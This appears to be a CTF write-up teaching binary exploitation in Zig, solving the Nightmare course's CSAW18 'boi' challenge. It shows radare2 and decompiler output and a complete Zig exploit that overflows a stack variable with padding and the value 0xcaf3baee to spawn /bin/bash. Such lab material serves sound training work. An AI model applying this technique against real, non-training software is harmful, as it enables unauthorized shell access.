|---------------------------------------------------------------------------|
|-------------------------Exploit development with zig----------------------|
|-------------------------------and nightmare-------------------------------|
|---------------------------------------------------------------------------|
23 April 2021
--[Table of content
1. Introduction
1.1 What is zig?
1.1 What is nightmare?
2. Requirements
3. Module 04-bof-variable Challenge 1- Csaw18 boi
3.1 Opening and spawning the binary
3.2 Send padding,raw integer and command
4. Basic barebones library
Introduction
----------------------------------------------------------------------
In the upcoming 40[?] posts,I will be writing about my journey of
learning exploit development with zig. In each post, we will only be
covering one challenege from every module.
What is zig?
----------------------------------------------------------------------
Zig is a general-purpose programming language and toolchain for
maintaining robust, optimal, and reusable software.
It has some really cool features like
- Comptime
- No C dependency
- Great FFI support
- Great build system
- Extremely easy to cross compile stuff
What is Nightmare?
----------------------------------------------------------------------
Nightmare is an intro to binary exploitation course based around ctf
challenges made by guyinatuxedo. These challenges are one of the best
ways to learn binary exploitation.
Requirements
----------------------------------------------------------------------
You are required to know and install:
- Radare2 [just basics, the radare2 book is a great resource]
- x86 and x86_64 assembly for linux
- Zig [use ziglearn to learn]
- Python and Pwntools [for calculations and prototype]
- r2ghidra
- Ghidra [for rechecking decompiled code]
Challenge 1- Csaw18 boi
----------------------------------------------------------------------
We will start by analyzing the binary and check what mitigations it has
❯ pwn checksec boi
[*] '/home/void/nightmare/modules/04-bof_variable/csaw18_boi/boi'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Except Non executable stack and stack canary, it has no other
mitigations.
❯ ./boi
Are you a big boiiiii??
lsdsfsf
Fri Apr 23 03:36:52 PM IST 2021
Executing the binary shows that it prints a string and then asks for
input. After recieving this input, it prints current time and exits.
Let's fire up radare2 and check the binary
[0x7fd026016050]> afl
0x00400530 1 41 entry0
0x00400510 1 6 sym.imp.__libc_start_main
0x00400560 4 50 -> 41 sym.deregister_tm_clones
0x004005a0 4 58 -> 55 sym.register_tm_clones
0x004005e0 3 28 sym.__do_global_dtors_aux
0x00400600 4 38 -> 35 entry.init0
0x00400750 1 2 sym.__libc_csu_fini
0x00400754 1 9 sym._fini
0x004006e0 4 101 sym.__libc_csu_init
0x00400641 6 159 main
0x00400626 1 27 sym.run_cmd
0x004004f0 1 6 sym.imp.system
0x00400498 3 26 sym._init
0x00400520 1 6 sym..plt.got
0x004004d0 1 6 sym.imp.puts
0x004004e0 1 6 sym.imp.__stack_chk_fail
0x00400500 1 6 sym.imp.read
The binary has 2 functions that are interesting to us,
sym.run_cmd and main
decompiling main function shows
[0x00400641]> pdg
// WARNING: Could not reconcile some variable overlaps
// WARNING: [r2ghidra] Failed to match type int for variable argc to Decompiler type: Unknown type identifier int
// WARNING: [r2ghidra] Detected overlap for variable var_30h
// WARNING: [r2ghidra] Detected overlap for variable var_1ch
undefined8 main(undefined8 argc, char **argv)
{
undefined8 uVar1;
int64_t in_FS_OFFSET;
int64_t var_40h;
int64_t var_34h;
int64_t var_28h;
int64_t var_20h;
int64_t var_18h;
int64_t var_8h;
var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
stack0xffffffffffffffc8 = 0;
var_28h = 0;
var_18h._0_4_ = 0;
var_20h = -0x2152411100000000;
var_34h._0_4_ = (undefined4)argc;
sym.imp.puts("Are you a big boiiiii??");
sym.imp.read(0, (int64_t)&var_34h + 4, 0x18);
if (var_20h._4_4_ == -0x350c4512) {
sym.run_cmd((int64_t)"/bin/bash");
} else {
sym.run_cmd((int64_t)"/bin/date");
}
uVar1 = 0;
if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
uVar1 = sym.imp.__stack_chk_fail();
}
return uVar1;
}
okay...well none of this makes any sense, but looking at the assembly
shows us some important stuff.
There are 2 important variables var_30h @ rbp-0x30 and
var_1ch @rbp-0x1c.
the input is of size 0x18 and is written in var_30h and var_1ch is
compared to 0xcaf3baee. If they are equal, then it executes /bin/bash
else, it executes /bin/date.
We have enough information to now start looking and planning how our
exploit will be. 0x1c-0x30 = 20 and 0x18 = 24.
This means that we have a 4 byte overflow! Hell yes!
We now need 20 bytes of padding and then the 4 bytes will be our
integer. Lets try this in zig.
Things we need to do-
1. Open and spawn a binary
2. Send padding, raw integer and command
Opening and spawning a binary
first lets choose a allocator to use, we will be using arena
allocator with general purpose allocator.
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
var arena = std.heap.ArenaAllocator.init(&gpa.allocator);
var alloc = &arena.allocator;
defer arena.deinit();
Now lets look at the zig stdlib source code and see what we can
use std.ChildProcess.
std.ChildProcess has init() and spawn() function which allows us to
run the binary and work with it.
It also has 2 more thing that are going to help us, stdin_behavior and stdout_behavior
var proc = try std.ChildProcess.init(&[_][]const u8{"./boi"}, alloc);
proc.stdin_behavior = .Pipe;
proc.stdout_behavior = .Inherit;
try proc.spawn();
Now we have set up the binary with stdin as a pipe and stdout
inherit [meaning, it will do nothing with stdout].
Send padding,raw integer and command
We cannot just send integer as in to the binary, soo we will be
converting it to u8 slice using std.mem.writeIntSlice.
In zig, strings are just const u8, meaning that u cannot just
append it, u have to either use a u8 array or arraylist.
Here, what we are doing is very simple, so we will just print it to
stdin.
var addr: [4]u8 = undefined;
std.mem.writeIntSlice(
u32,
addr[0..],
0xcaf3baee,
std.builtin.Endian.Little,
);
try proc.stdin.?.writer().print("{s}{s}\nwhoami\n", .{ "0" ** 20, addr[0..] });
now we have written the padding, raw integer and the command to
stdin.
Now, lets execute it and check if it works
❯ zig run shit.zig
Are you a big boiiiii??
void
HELL YES IT WORKED!!
Code
----------------------------------------------------------------------
const std = @import("std");
pub fn main() anyerror!void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
var arena = std.heap.ArenaAllocator.init(&gpa.allocator);
var alloc = &arena.allocator;
defer arena.deinit();
try std.io.getStdOut().writer().print("Trying to open ./boi", .{});
var proc = try std.ChildProcess.init(&[_][]const u8{"./boi"}, alloc);
proc.stdin_behavior = .Pipe;
proc.stdout_behavior = .Inherit;
try proc.spawn();
var addr: [4]u8 = undefined;
std.mem.writeIntSlice(
u32,
addr[0..],
0xcaf3baee,
std.builtin.Endian.Little,
);
try proc.stdin.?.writer().print("{s}{s}\nwhoami\n", .{ "0" ** 20, addr[0..] });
}